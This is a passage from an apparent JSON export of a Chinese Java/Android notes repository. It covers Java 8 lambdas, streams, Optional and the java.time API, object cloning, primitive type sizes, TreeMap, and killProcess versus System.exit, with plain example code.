c);\n}\n\npublic class Main {\n\n    public static void main(String[] args) {\n        List<Integer>  list = new ArrayList<Integer>();\n        list.add(50);\n        list.add(18);\n        list.add(6);\n        list.add(99);\n        list.add(32);\n        System.out.println(list.toString()+\"排序之前\");\n        LambdaTest3 lt3 = Collections::sort;\n        lt3.sort(list, (a,b) -> {\n            return a-b;\n        });\n        System.out.println(list.toString()+\"排序之后\");\n    }\n}\n\n \n执行结果： \n[50, 18, 6, 99, 32]排序之前 \n[6, 18, 32, 50, 99]排序之后\n再来看Comparator接口，它属于函数式接口，所以我们在Comparator入参时，也采取了lambda表达式写法。\n@FunctionalInterface\npublic interface Comparator<T> {\n...\n...\n...\n}\n  \n3、引用类的实例方法： \n定义、调用接口时，需要多传递一个参数，并且参数的类型与引用实例的类型一致 \n语法：\n    //定义接口\n    interface <函数式接口>{\n        <返回值> <方法名>(<类><类名称>,[其他参数...]); \n    }\n    <函数式接口>  <变量名> = <类>::<类实例方法名>\n    //调用\n    <变量名>.接口方法(类的实例,[实际参数...])\n \n将调用方法时的传递的实际参数，从第二个参数开始（第一个参数指定的类的实例），全部传递给引用的方法，执行引用的方法； \n示例代码：\npublic class LambdaClassTest {\n\n    public int add(int a, int b){\n        System.out.println(\"LambdaClassTest类的add方法\");\n        return a+b;\n    }\n}\n\npublic interface LambdaTest4 {\n\n    abstract int add(LambdaClassTest lt,int a,int b);\n}\n\npublic class Main {\n\n    public static void main(String[] args) {\n        LambdaTest4 lt4 = LambdaClassTest::add;\n        LambdaClassTest lct = new LambdaClassTest();\n        System.out.println(lt4.add(lct, 5, 8));\n    }\n}\n  \n4、引用构造器方法： \n语法：\n    <函数式接口>  <变量名> = <类>::<new>\n    //调用\n    <变量名>.接口方法([实际参数...])\n  \n把方法的所有参数全部传递给引用的构造器，根据参数类型自动推断调用的构造器方法； \n示例代码：\npublic interface LambdaTest5 {\n\n    abstract String creatString(char[] c);\n}\npublic class Main {\n\n    public static void main(String[] args) {\n        LambdaTest5 lt5 = String::new;\n        System.out.println(lt5.creatString(new char[]{'1','2','3','a'}));\n    }\n}\n  \n根据传入的参数类型，自动匹配构造函数\n三、函数式接口\n如果一个接口只有一个抽象方法，则该接口称之为函数式接口，因为 默认方法 不算抽象方法，所以你也可以给你的函数式接口添加默认方法。 \n函数式接口可以使用Lambda表达式，lambda表达式会被匹配到这个抽象方法上 \n我们可以将lambda表达式当作任意只包含一个抽象方法的接口类型，确保你的接口一定达到这个要求，你只需要给你的接口添加 @FunctionalInterface 注解，编译器如果发现你标注了这个注解的接口有多于一个抽象方法的时候会报错的\n示例代码：\n@FunctionalInterface\ninterface Converter<F, T> {\n    T convert(F from);\n}\nConverter<String, Integer> converter = (from) -> Integer.valueOf(from);\nInteger converted = converter.convert(\"123\");\nSystem.out.println(converted);    // 123\n  \n五、Lambda 作用域\n在lambda表达式中访问外层作用域和老版本的匿名对象中的方式很相似。你可以直接访问标记了final的外层局部变量，或者实例的字段以及静态变量。\n六、访问局部变量\n我们可以直接在lambda表达式中访问外层的局部变量，但是该局部变量必须是final的，即使没有加final关键字，之后我们无论在哪（lambda表达式内部或外部）修改该变量，均报错。\n七、访问对象字段与静态变量\nlambda内部对于实例的字段以及静态变量是即可读又可写。该行为和匿名对象是一致的；\n示例代码：\nclass Lambda4 {\n    static int outerStaticNum;\n    int outerNum;\n    void testScopes() {\n        Converter<Integer, String> stringConverter1 = (from) -> {\n            outerNum = 23;\n            return String.valueOf(from);\n        };\n        Converter<Integer, String> stringConverter2 = (from) -> {\n            outerStaticNum = 72;\n            return String.valueOf(from);\n        };\n    }\n}\n \n八、访问接口的默认方法\nPredicate接口 \nPredicate 接口只有一个参数，返回boolean类型。该接口包含多种默认方法来将Predicate组合成其他复杂的逻辑（比如：与，或，非）：\n    public static void main(String[] args) {\n        Predicate<String> predicate = (s) -> s.length() > 0;\n        System.out.println(predicate.test(\"foo\"));              // true\n        System.out.println(predicate.negate().test(\"foo\"));     // false\n        Predicate<Boolean> nonNull = Objects::nonNull;\n        Predicate<Boolean> isNull = Objects::isNull;\n        Predicate<String> isEmpty = String::isEmpty;\n        Predicate<String> isNotEmpty = isEmpty.negate();\n        System.out.println(nonNull.test(null));\n        System.out.println(isNull.test(null));\n        System.out.println(isEmpty.test(\"sss\"));\n        System.out.println(isNotEmpty.test(\"\"));\n    }\n\n运行结果： \ntrue \nfalse \nfalse \ntrue \nfalse \nfalse\nFunction 接口 \nFunction 接口有一个参数并且返回一个结果，并附带了一些可以和其他函数组合的默认方法（compose, andThen）：\n        Function<String, Integer> toInteger = Integer::valueOf;\n        System.out.println(toInteger.apply(\"123\").getClass());\n        Function<String, Object> toInteger2 = toInteger.andThen(String::valueOf);\n        System.out.println(toInteger2.apply(\"123\").getClass());\n \n输出： \nclass java.lang.Integer \nclass java.lang.String\nSupplier 接口 \nSupplier 接口返回一个任意范型的值，和Function接口不同的是该接口没有任何参数\nSupplier<Person> personSupplier = Person::new;\npersonSupplier.get();   // new Person\n \nConsumer 接口\nConsumer 接口表示执行在单个参数上的操作。接口只有一个参数，且无返回值\n        Supplier<LambdaClassTest> personSupplier = LambdaClassTest::new;\n        Consumer<LambdaClassTest> greeter = (lt) -> System.out.println(\"Hello, \" + lt.getTest());\n        greeter.accept(personSupplier.get());\n  \nComparator 接口\nComparator 是老Java中的经典接口， Java 8在此之上添加了多种默认方法：\nComparator<Person> comparator = (p1, p2) -> p1.firstName.compareTo(p2.firstName);\nPerson p1 = new Person(\"John\", \"Doe\");\nPerson p2 = new Person(\"Alice\", \"Wonderland\");\ncomparator.compare(p1, p2);             // > 0\ncomparator.reversed().compare(p1, p2);  // < 0\n  \nOptional 接口\nOptional 不是函数是接口，这是个用来防止NullPointerException异常的辅助类型，这是下一届中将要用到的重要概念，现在先简单的看看这个接口能干什么： \nOptional 被定义为一个简单的容器，其值可能是null或者不是null。在Java 8之前一般某个函数应该返回非空对象但是偶尔却可能返回了null，而在Java 8中，不推荐你返回null而是返回Optional。\nOptional<String> optional = Optional.of(\"bam\");\noptional.isPresent();           // true\noptional.get();                 // \"bam\"\noptional.orElse(\"fallback\");    // \"bam\"\noptional.ifPresent((s) -> System.out.println(s.charAt(0)));     // \"b\"\n\nStream 接口 重要！！！\n创建stream–通过of方法\nStream<Integer> integerStream = Stream.of(1, 2, 3, 5);\nStream<String> stringStream = Stream.of(\"taobao\");\n\n创建stream–通过generator方法 \n生成一个无限长度的Stream，其元素的生成是通过给定的Supplier（这个接口可以看成一个对象的工厂，每次调用返回一个给定类型的对象）\nStream.generate(new Supplier<Double>() {\n\n    @Override\n\n    public Double get() {\n\n        return Math.random();\n\n    }\n\n});\n\nStream.generate(() -> Math.random());\n\nStream.generate(Math::random);\n\n三条语句的作用都是一样的，只是使用了lambda表达式和方法引用的语法来简化代码。每条语句其实都是生成一个无限长度的Stream，其中值是随机的。这个无限长度Stream是懒加载，一般这种无限长度的Stream都会配合Stream的limit()方法来用。\n创建stream–通过iterate方法 \n也是生成无限长度的Stream，和generator不同的是，其元素的生成是重复对给定的种子值(seed)调用用户指定函数来生成的。其中包含的元素可以认为是：seed，f(seed),f(f(seed))无限循环 \nStream.iterate(1, item -> item + 1).limit(10).forEach(System.out::println); \n这段代码就是先获取一个无限长度的正整数集合的Stream，然后取出前10个打印。千万记住使用limit方法，不然会无限打印下去。\n通过Collection子类获取Stream\n\npublic interface Collection<E> extends Iterable<E> {\n\n    //其他方法省略\n\n    default Stream<E> stream() {\n\n        return StreamSupport.stream(spliterator(), false);\n\n    }\n\n}\n  \njava.util.Stream 表示能应用在一组元素上一次执行的操作序列。Stream 操作分为中间操作或者最终操作两种，最终操作返回一特定类型的计算结果，而中间操作返回Stream本身，这样你就可以将多个操作依次串起来。Stream 的创建需要指定一个数据源，比如 java.util.Collection的子类，List或者Set， Map不支持。Stream的操作可以串行执行或者并行执行。\nJava 8扩展了集合类，可以通过 Collection.stream() 或者 Collection.parallelStream() 来创建一个Stream。 \nStream有串行和并行两种，串行Stream上的操作是在一个线程中依次完成，而并行Stream则是在多个线程上同时执行。\n下面的例子展示了是如何通过并行Stream来提升性能： \n首先我们创建一个没有重复元素的大表：\nint max = 1000000;\nList<String> values = new ArrayList<>(max);\nfor (int i = 0; i < max; i++) {\n    UUID uuid = UUID.randomUUID();\n    values.add(uuid.toString());\n}\n\n然后我们计算一下排序这个Stream要耗时多久， \n串行排序：\nlong t0 = System.nanoTime();\nlong count = values.stream().sorted().count();\nSystem.out.println(count);\nlong t1 = System.nanoTime();\nlong millis = TimeUnit.NANOSECONDS.toMillis(t1 - t0);\nSystem.out.println(String.format(\"sequential sort took: %d ms\", millis));\n  \n// 串行耗时: 899 ms \n并行排序：\nlong t0 = System.nanoTime();\nlong count = values.parallelStream().sorted().count();\nSystem.out.println(count);\nlong t1 = System.nanoTime();\nlong millis = TimeUnit.NANOSECONDS.toMillis(t1 - t0);\nSystem.out.println(String.format(\"parallel sort took: %d ms\", millis));\n \n// 并行排序耗时: 472 ms \n上面两个代码几乎是一样的，但是并行版的快了50%之多，唯一需要做的改动就是将stream()改为parallelStream()；\nstream的其他应用： \n1、count()、max()、min()方法\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class Main {\n\n    public static void main(String[] args) {\n        List<Integer> collection = new ArrayList<Integer>();\n        collection.add(14);\n        collection.add(5);\n        collection.add(43);\n        collection.add(89);\n        collection.add(64);\n        collection.add(112);\n        collection.add(55);\n        collection.add(55);\n        collection.add(58);\n        //list长度\n        System.out.println(collection.parallelStream().count());\n\n        //求最大值,返回Option,通过Option.get()获取值\n        System.out.println(collection.parallelStream().max((a,b)->{return a-b;}).get());\n\n        //求最小值,返回Option,通过Option.get()获取值\n        System.out.println(collection.parallelStream().min((a,b)->{return a-b;}).get());\n\n    }\n}\n  \n  \n2、Filter 过滤方法 \n过滤通过一个predicate接口来过滤并只保留符合条件的元素，该操作属于中间操作。\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class Main {\n\n    public static void main(String[] args) {\n        List<Integer> collection = new ArrayList<Integer>();\n        collection.add(14);\n        collection.add(5);\n        collection.add(43);\n        collection.add(89);\n        collection.add(64);\n        collection.add(112);\n        collection.add(55);\n        collection.add(55);\n        collection.add(58);\n        Long count =collection.stream().filter(num -> num!=null).\n                filter(num -> num.intValue()>50).count();\n        System.out.println(count);\n    }\n}\n \n3、distinct方法 \n去除重复\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class Main {\n\n    public static void main(String[] args) {\n        List<Integer> collection = new ArrayList<Integer>();\n        collection.add(14);\n        collection.add(5);\n        collection.add(43);\n        collection.add(89);\n        collection.add(64);\n        collection.add(112);\n        collection.add(55);\n        collection.add(55);\n        collection.add(58);\n        collection.stream().distinct().forEach(System.out::println);;\n    }\n}\n\n4、Sort 排序 \n排序是一个中间操作，返回的是排序好后的Stream。如果你不指定一个自定义的Comparator则会使用默认排序。\nstringCollection\n    .stream()\n    .sorted()\n    .filter((s) -> s.startsWith(\"a\"))\n    .forEach(System.out::println);\n// \"aaa1\", \"aaa2\"\n \n需要注意的是，排序只创建了一个排列好后的Stream，而不会影响原有的数据源，排序之后原数据stringCollection是不会被修改的：\nSystem.out.println(stringCollection);\n// ddd2, aaa2, bbb1, aaa1, bbb3, ccc, bbb2, ddd1\n  \n5、Map 映射\n对于Stream中包含的元素使用给定的转换函数进行转换操作，新生成的Stream只包含转换生成的元素。这个方法有三个对于原始类型的变种方法，分别是：mapToInt，mapToLong和mapToDouble。这三个方法也比较好理解，比如mapToInt就是把原始Stream转换成一个新的Stream，这个新生成的Stream中的元素都是int类型。之所以会有这样三个变种方法，可以免除自动装箱/拆箱的额外消耗；\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class Main {\n\n    public static void main(String[] args) {\n        List<String> collection = new ArrayList<String>();\n        collection.add(\"14\");\n        collection.add(\"5\");\n        collection.add(\"43\");\n        collection.add(\"89\");\n        collection.add(\"64\");\n        collection.add(\"112\");\n        collection.add(\"55\");\n        collection.add(\"55\");\n        collection.add(\"58\");\n        //将String转化为Integer类型\n        collection.stream().mapToInt(Integer::valueOf).forEach(System.out::println);\n        //或\n        collection.stream().mapToInt(a->Integer.parseInt(a)).forEach(System.out::println);\n    }\n}\n\n也可以这样用：\nList<Integer> nums = Lists.newArrayList(1,1,null,2,3,4,null,5,6,7,8,9,10);\nSystem.out.println(“sum is:”+nums.stream().filter(num -> num != null).distinct().mapToInt(num -> num * 2).\n            peek(System.out::println).skip(2).limit(4).sum());\n\n7、limit： \n对一个Stream进行截断操作，获取其前N个元素，如果原Stream中包含的元素个数小于N，那就获取其所有的元素；\n8、skip： \n返回一个丢弃原Stream的前N个元素后剩下元素组成的新Stream，如果原Stream中包含的元素个数小于N，那么返回空Stream；\n9、Match 匹配 \n\n        Stream提供了多种匹配操作，允许检测指定的Predicate是否匹配整个Stream。所有的匹配操作都是最终操作，并返回一个boolean类型的值。\n        boolean anyStartsWithA = \n            stringCollection\n                .stream()\n                .anyMatch((s) -> s.startsWith(\"a\"));\n        System.out.println(anyStartsWithA);      // true\n        boolean allStartsWithA = \n            stringCollection\n                .stream()\n                .allMatch((s) -> s.startsWith(\"a\"));\n        System.out.println(allStartsWithA);      // false\n        boolean noneStartsWithZ = \n            stringCollection\n                .stream()\n                .noneMatch((s) -> s.startsWith(\"z\"));\n        System.out.println(noneStartsWithZ);      // true\n  \n10、Count 计数\n计数是一个最终操作，返回Stream中元素的个数，返回值类型是long。\nlong startsWithB = \n    stringCollection\n        .stream()\n        .filter((s) -> s.startsWith(\"b\"))\n        .count();\nSystem.out.println(startsWithB);    // 3\n \n11、Reduce 规约 \n这是一个最终操作，允许通过指定的函数来讲stream中的多个元素规约为一个元素，规越后的结果是通过Optional接口表示的：\nOptional<String> reduced =\n    stringCollection\n        .stream()\n        .sorted()\n        .reduce((s1, s2) -> s1 + \"#\" + s2);\nreduced.ifPresent(System.out::println);\n// \"aaa1#aaa2#bbb1#bbb2#bbb3#ccc#ddd1#ddd2\"\n\nMap \n前面提到过，Map类型不支持stream，不过Map提供了一些新的有用的方法来处理一些日常任务。\nMap<Integer, String> map = new HashMap<>();\nfor (int i = 0; i < 10; i++) {\n    map.putIfAbsent(i, \"val\" + i);\n}\nmap.forEach((id, val) -> System.out.println(val));\n \n以上代码很容易理解， putIfAbsent 不需要我们做额外的存在性检查，而forEach则接收一个Consumer接口来对map里的每一个键值对进行操作。 \n下面的例子展示了map上的其他有用的函数：\nmap.computeIfPresent(3, (num, val) -> val + num);\nmap.get(3);             // val33\nmap.computeIfPresent(9, (num, val) -> null);\nmap.containsKey(9);     // false\nmap.computeIfAbsent(23, num -> \"val\" + num);\nmap.containsKey(23);    // true\nmap.computeIfAbsent(3, num -> \"bam\");\nmap.get(3);             // val33\n  \n接下来展示如何在Map里删除一个键值全都匹配的项：\nmap.remove(3, \"val3\");\nmap.get(3);             // val33\nmap.remove(3, \"val33\");\nmap.get(3);             // null\n \n另外一个有用的方法：\nmap.getOrDefault(42, \"not found\");  // not found\n  \n对Map的元素做合并也变得很容易了：\nmap.merge(9, \"val9\", (value, newValue) -> value.concat(newValue));\nmap.get(9);             // val9\nmap.merge(9, \"concat\", (value, newValue) -> value.concat(newValue));\nmap.get(9);             // val9concat\n \nMerge做的事情是如果键名不存在则插入，否则则对原键对应的值做合并操作并重新插入到map中。\nsteam在实际项目中使用的代码片段：\n//1、有list集合生成以productId为key值得map集合\nMap<String, List<CartManager>> cartManagerGroup =\n        carts.stream().collect(\n                Collectors.groupingBy(CartManager::getProductId)\n        );\n//2、取得购物车中数量之和\nIntStream  is = list.stream().mapToInt((CartManager c)->c.getQuantity()); \nis.sum();//数量之和\n\n//3、所有订单中商品数量*订单金额求和\norderDetailsNew.parallelStream()\n                            .mapToDouble(orderDetailMid -> orderDetailMid.getQuantity()*orderDetailMid.getFinalPrice()).sum()\n\n//4、过滤出指定类型的订单，并生成新的集合\norderDetails.stream().\n    filter(orderDetail ->    StringUtil.isEmpty(orderDetail.getPromotionsType())|| !orderDetail.getPromotionsType().equals(PromotionTypeEnum.ORDERGIFTPROMOTION.getType())).collect(Collectors.toList());\n\n//5、过滤购物车未被选中商品并生成新的list\ncarts.stream().filter(cart -> cart.getSelectFlag()==1).collect(Collectors.toList());\n\n//6、将list以商品促销委key转化为map\nMap<String,List<PromotionsGiftProduct>> map = \n                promotionsGiftProducts.stream().collect(                    Collectors.groupingBy(PromotionsGiftProduct::getPromotionId));\n\n//7、从list<Cart>中分离出只存储productId的列表list<String>\nList<String> productIds = needUpdate.parallelStream()\n                        .map(CartManager::getProductId)\n                        .collect(Collectors.toList());\n \n九、Date API\nJava 8 在包java.time下包含了一组全新的时间日期API。 \nClock 时钟 \nClock类提供了访问当前日期和时间的方法，Clock是时区敏感的，可以用来取代 System.currentTimeMillis() 来获取当前的微秒数。某一个特定的时间点也可以使用Instant类来表示，Instant类也可以用来创建老的java.util.Date对象。\nClock clock = Clock.systemDefaultZone();\nlong millis = clock.millis();\nInstant instant = clock.instant();\nDate legacyDate = Date.from(instant);   // legacy java.util.Date\n \nTimezones 时区\nSystem.out.println(ZoneId.getAvailableZoneIds());\n// prints all available timezone ids\nZoneId zone1 = ZoneId.of(\"Europe/Berlin\");\nZoneId zone2 = ZoneId.of(\"Brazil/East\");\nSystem.out.println(zone1.getRules());\nSystem.out.println(zone2.getRules());\n// ZoneRules[currentStandardOffset=+01:00]\n// ZoneRules[currentStandardOffset=-03:00]\n  \nLocalTime 本地时间 \nLocalTime 定义了一个没有时区信息的时间，例如 晚上10点，或者 17:30:15。下面的例子使用前面代码创建的时区创建了两个本地时间。之后比较时间并以小时和分钟为单位计算两个时间的时间差：\nLocalTime now1 = LocalTime.now(zone1);\nLocalTime now2 = LocalTime.now(zone2);\nSystem.out.println(now1.isBefore(now2));  // false\nlong hoursBetween = ChronoUnit.HOURS.between(now1, now2);\nlong minutesBetween = ChronoUnit.MINUTES.between(now1, now2);\nSystem.out.println(hoursBetween);       // -3\nSystem.out.println(minutesBetween);     // -239\n  \nLocalTime 提供了多种工厂方法来简化对象的创建，包括解析时间字符串。\nLocalTime late = LocalTime.of(23, 59, 59);\nSystem.out.println(late);       // 23:59:59\nDateTimeFormatter germanFormatter =\n    DateTimeFormatter\n        .ofLocalizedTime(FormatStyle.SHORT)\n        .withLocale(Locale.GERMAN);\nLocalTime leetTime = LocalTime.parse(\"13:37\", germanFormatter);\nSystem.out.println(leetTime);   // 13:37\n \nLocalDate 本地日期 \nLocalDate 表示了一个确切的日期，比如 2014-03-11。该对象值是不可变的，用起来和LocalTime基本一致。下面的例子展示了如何给Date对象加减天/月/年。另外要注意的是这些对象是不可变的，操作返回的总是一个新实例。\nLocalDate today = LocalDate.now();\nLocalDate tomorrow = today.plus(1, ChronoUnit.DAYS);\nLocalDate yesterday = tomorrow.minusDays(2);\nLocalDate independenceDay = LocalDate.of(2014, Month.JULY, 4);\nDayOfWeek dayOfWeek = independenceDay.getDayOfWeek();\n\nSystem.out.println(dayOfWeek);    // FRIDAY\n  \n从字符串解析一个LocalDate类型和解析LocalTime一样简单：\nDateTimeFormatter germanFormatter =\n    DateTimeFormatter\n        .ofLocalizedDate(FormatStyle.MEDIUM)\n        .withLocale(Locale.GERMAN);\nLocalDate xmas = LocalDate.parse(\"24.12.2014\", germanFormatter);\nSystem.out.println(xmas);   // 2014-12-24\n  \nLocalDateTime 本地日期时间 \nLocalDateTime 同时表示了时间和日期，相当于前两节内容合并到一个对象上了。LocalDateTime和LocalTime还有LocalDate一样，都是不可变的。LocalDateTime提供了一些能访问具体字段的方法。\nLocalDateTime sylvester = LocalDateTime.of(2014, Month.DECEMBER, 31, 23, 59, 59);\nDayOfWeek dayOfWeek = sylvester.getDayOfWeek();\nSystem.out.println(dayOfWeek);      // WEDNESDAY\nMonth month = sylvester.getMonth();\nSystem.out.println(month);          // DECEMBER\nlong minuteOfDay = sylvester.getLong(ChronoField.MINUTE_OF_DAY);\nSystem.out.println(minuteOfDay);    // 1439\n \n只要附加上时区信息，就可以将其转换为一个时间点Instant对象，Instant时间点对象可以很容易的转换为老式的java.util.Date。\nInstant instant = sylvester\n        .atZone(ZoneId.systemDefault())\n        .toInstant();\nDate legacyDate = Date.from(instant);\nSystem.out.println(legacyDate);     // Wed Dec 31 23:59:59 CET 2014\n \n格式化LocalDateTime和格式化时间和日期一样的，除了使用预定义好的格式外，我们也可以自己定义格式：\nDateTimeFormatter formatter =\n    DateTimeFormatter\n        .ofPattern(\"MMM dd, yyyy - HH:mm\");\nLocalDateTime parsed = LocalDateTime.parse(\"Nov 03, 2014 - 07:13\", formatter);\nString string = formatter.format(parsed);\nSystem.out.println(string);     // Nov 03, 2014 - 07:13\n\n和java.text.NumberFormat不一样的是新版的DateTimeFormatter是不可变的，所以它是线程安全的。 \n关于时间日期格式的详细信息： \nhttp://download.java.net/jdk8/docs/api/java/time/format/DateTimeFormatter.html\n十、Annotation 注解\n在Java 8中支持多重注解了"
  },
  {
    "path": "docs/android/sources/javaCopy.md",
    "content": "### Java 克隆详解\n\n\n1. 浅复制（浅克隆）这种浅复制，其实也就是把被复制的这个对象的一些变量值拿过来了。最后生成student2还是一个新的对象。\n       \n        \n        public class CloneTest1\n        {\n            public static void main(String[] args) throws Exception\n            {\n                Student student = new Student();\n                student.setAge(24);\n                student.setName(\"niesong\");\n                Student student2 = (Student)student.clone();\n                //这个是调用下面的那个方法，然后把这个这个对象Clone到student\n                System.out.println(\"Age:\" + student2.getAge() + \" \" + \"Name:\" + student2.getName());\n                \n                System.out.println(\"---------------------\");\n                student2.setAge(23);\n                //克隆后得到的是一个新的对象，所以重新写的是student2这个对象的值\n         \n                System.out.println(student.getAge());\n                System.out.println(student2.getAge());\n            }\n            \n         \n        }\n//克隆的对象必须实现Cloneable这个接口，而且需要重写clone方法\n \n        class Student implements Cloneable\n        {\n            private int age;\n            //定义为private说明这个成员变量只能被被当前类中访问，如果外部需要获得，那么就只能通过getAge方法进行获取\n            private String name;\n            public int getAge()\n            {\n                return age;\n            }\n            public void setAge(int age)\n            {\n                this.age = age;\n            }\n            public String getName()\n            {\n                return name;\n            }\n            public void setName(String name)\n            {\n                this.name = name;\n            }\n            @Override\n            public Object clone() throws CloneNotSupportedException\n            {\n                Object object = super.clone();\n                return object;\n            }\n        }\n2. 深复制（情况1使用的是在克隆的时候手动进行深克隆）\n\n        \n        public class CloneTest2\n        {\n            public static void main(String[] args) throws Exception\n            {\n                Teacher teacher = new Teacher();\n                teacher.setAge(40);\n                teacher.setName(\"teacher zhang\");\n                \n                Student2 student2 = new Student2();\n                student2.setAge(14);\n                student2.setName(\"lisi\");\n                student2.setTeacher(teacher);\n                \n                Student2 student3 = (Student2)student2.clone();\n                //这里是深复制，所以这时候Student2中的teacher就是teacher这个对象的一个复制，就和student3是student2的一个复制\n                //所以下面teacher.setName只是对他原来的这个对象更改，但是复制的那个并没有更改\n                System.out.println(student3.getAge());\n                System.out.println(student3.getName());\n                System.out.println(student3.getTeacher().getAge());\n                teacher.setName(\"teacher niesong\");//不会又任何影响\n                System.out.println(student3.getTeacher().getName());\n            \n            }\n         \n        }\n        class Student2 implements Cloneable\n        {\n            private int age;\n            private String name;\n            private Teacher teacher;\n            public int getAge()\n            {\n                return age;\n            }\n            public void setAge(int age)\n            {\n                this.age = age;\n            }\n            public String getName()\n            {\n                return name;\n            }\n            public void setName(String name)\n            {\n                this.name = name;\n            }\n            public Teacher getTeacher()\n            {\n                return teacher;\n            }\n            public void setTeacher(Teacher teacher)\n            {\n                this.teacher = teacher;\n            }\n            @Override\n            public Object clone() throws CloneNotSupportedException\n            {\n                //这一步返回的这个student2还只是一个浅克隆，\n                Student2 student2 = (Student2)super.clone();\n                //然后克隆的过程中获得这个克隆的student2，然后调用这个getTeacher这个方方法得到这个Teacher对象。然后实现克隆。在设置到这个student2中的Teacher。\n                //这样实现了双层克隆使得那个teacher对象也得到了复制。\n                student2.setTeacher((Teacher)student2.getTeacher().clone());\n                //双层克隆使得那个teacher对象也得到了复制\n                return student2;\n            }\n        }\n        class Teacher implements Cloneable\n        {\n            private int age;\n            private String name;\n            public int getAge()\n            {\n                return age;\n            }\n            public void setAge(int age)\n            {\n                this.age = age;\n            }\n            public String getName()\n            {\n                return name;\n            }\n            public void setName(String name)\n            {\n                this.name = name;\n            }\n            @Override\n            public Object clone() throws CloneNotSupportedException\n            {\n                return super.clone();\n            }\n            \n        }\n3. 利用serializable实现深复制（这个是利用Serializable，利用序列化的方式来实现深复制（深克隆），在其中利用了Io流的方式将这个对象写到IO流里面，然后在从IO流里面读取，这样就实现了一个复制，然后实现序列化的这个会将引用的那个对象也一并进行深复制，这样就实现了这个机制，同时在IO里面读取数据的时候还使用了装饰者模式）\n        \n        \n        \n        public class CloneTest3\n        {\n            public static void main(String[] args) throws Exception\n            {\n                Teacher3 teacher3 = new Teacher3();\n                teacher3.setAge(23);\n                teacher3.setName(\"niesong\");\n                \n                Student3 student3 = new Student3();\n                student3.setAge(50);\n                student3.setName(\"wutao\");\n                student3.setTeacher3(teacher3);\n                \n                Student3 ss = (Student3)student3.deepCopt();\n                System.out.println(ss.getAge());\n                System.out.println(ss.getName());\n                \n                System.out.println(\"---------------------\");\n                System.out.println(ss.getTeacher3().getAge());\n                System.out.println(ss.getTeacher3().getName());\n                \n                System.out.println(\"-----------------------\");\n                \n                ss.getTeacher3().setAge(7777);\n                ss.getTeacher3().setName(\"hhhhh\");\n                \n                System.out.println(teacher3.getAge());\n                System.out.println(teacher3.getName());\n                //虽然上面的已经改了，但是改的是那个复制对象后的那个里面的，然后那个原来的那个里面的并没有改，下面验证：：：\n                \n                System.out.println(\"-----------------\");\n                \n                System.out.println(ss.getTeacher3().getAge());\n                System.out.println(ss.getTeacher3().getName());\n                \n                \n            \n                \n                \n            }\n            \n         \n        }\n        class Teacher3 implements Serializable\n        {\n        //  上面的那个警告可以直接消除，除了使用在设置中不显示这个警告，还可以使用下面的这两条语句中的任何一条语句\n        //\t这个serialVersionUID为了让该类别Serializable向后兼容\n        //\tprivate static final long serialVersionUID = 1L;\n        //\tprivate static final long serialVersionUID = 8940196742313994740L;\n            private int age;\n            private String name;\n            public int getAge()\n            {\n                return age;\n            }\n            public void setAge(int age)\n            {\n                this.age = age;\n            }\n            public String getName()\n            {\n                return name;\n            }\n            public void setName(String name)\n            {\n                this.name = name;\n            }\n        }\n            class Student3 implements Serializable\n            {\n                private static final long serialVersionUID = 1L;\n                private int age;\n                private String name;\n                private Teacher3 teacher3;\n                public int getAge()\n                {\n                    return age;\n                }\n                public void setAge(int age)\n                {\n                    this.age = age;\n                }\n                public String getName()\n                {\n                    return name;\n                }\n                public void setName(String name)\n                {\n                    this.name = name;\n                }\n                public Teacher3 getTeacher3()\n                {\n                    return teacher3;\n                }\n                public void setTeacher3(Teacher3 teacher3)\n                {\n                    this.teacher3 = teacher3;\n                }\n                //使得序列化student3的时候也会将teacher序列化\n                public Object deepCopt()throws Exception\n                {\n                    ByteArrayOutputStream bos = new ByteArrayOutputStream();\n                    ObjectOutputStream  oos = new ObjectOutputStream(bos);\n                    oos.writeObject(this);\n                    //将当前这个对象写到一个输出流当中，，因为这个对象的类实现了Serializable这个接口，所以在这个类中\n                    //有一个引用，这个引用如果实现了序列化，那么这个也会写到这个输出流当中\n                    \n                    ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());\n                    ObjectInputStream ois = new ObjectInputStream(bis);\n                    return ois.readObject();\n                    //这个就是将流中的东西读出类，读到一个对象流当中，这样就可以返回这两个对象的东西，实现深克隆\n                }\n"
  },
  {
    "path": "docs/android/sources/javabasic.md",
    "content": "### Java基础面试题\n\n\n1. 基本类型\n\n byte 1 \n short 2\n char 2\n int 4\n float 4\n double 8\n long 8"
  },
  {
    "path": "docs/android/sources/javacollection.md",
    "content": "\n### Java高级集合中难点\n\n### WeakHashMap\n\n### HashMap\n\n### TreeMap\n\nTreeMap特点\n\nTreeMap是非线程安全的。 \n\n可以采用这种方式将TreeMap设置为同步的：Map m = Collections.synchronizedSortedMap(new TreeMap(…));\n\nTreeMap是用键来进行升序顺序来排序的。通过Comparable 或 Comparator来排序。 \n\nTreeMap是SortedMap接口的基于红黑树的实现。此类保证了映射按照升序顺序排列关键字， 根据使用的构造方法不同，可能会按照键的类的自然顺序进行排序，或者按照创建时所提供的比较器（自定义）进行排序。 \n\n\n"
  },
  {
    "path": "docs/android/sources/killprocess_system_exit.md",
    "content": "### android.os.killprocess 和System.exit()区别\n\n1. android.os.killprocess()可以杀掉任何第三方进程传入pid就可以,System.exit()只能杀掉本身\n\n\n2. System.exit它的意思是退出JVM（java虚拟机），在android中一样可以用，我们可以想像一下虚拟机都退出了当然执行System.exit的程序会完全退出，内存被释放。\n\n在android手机中查看当前正在运行的进程时可以发现还可以查看\"后台缓存的进程\"，你会发现很多退出了的程序还在后台缓存的进程中，如果不要让程序在后台缓存那么就可以用System.exit(0);来退出程序了，可以清除后台缓存的本进程。\n\nSystem.exit(0),System.exit(1)的区别：\n\n参数0和1代表退出的状态，0表示正常退出，1表示异常退出(只要是非0的都为异常退出)，即使不传0来执行也可以退出，该参数只是通知操作系统该程序是否是正常退出。"
  },
  {
    "path": "docs/android/sources/kotlin/builderModel.kt",
